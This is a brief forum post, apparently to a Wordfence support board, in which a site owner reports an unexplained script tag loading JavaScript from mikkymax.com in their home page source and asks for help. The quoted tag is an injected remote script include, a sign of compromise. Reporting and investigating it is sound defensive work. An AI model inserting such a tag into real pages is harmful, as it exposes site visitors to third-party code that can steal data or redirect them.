Malicious activity not detected

Hello

I found this link 4 times in my home page source code <script src=”//mikkymax.com/20ba4519da0cfb915b.js” async=”” type=”text/javascript”></script> , I search about it in my server code it doesn’t existe there, whene I did some research I found that is a Malicious activity.

I Wordfence but any malware was detected.

Any help please?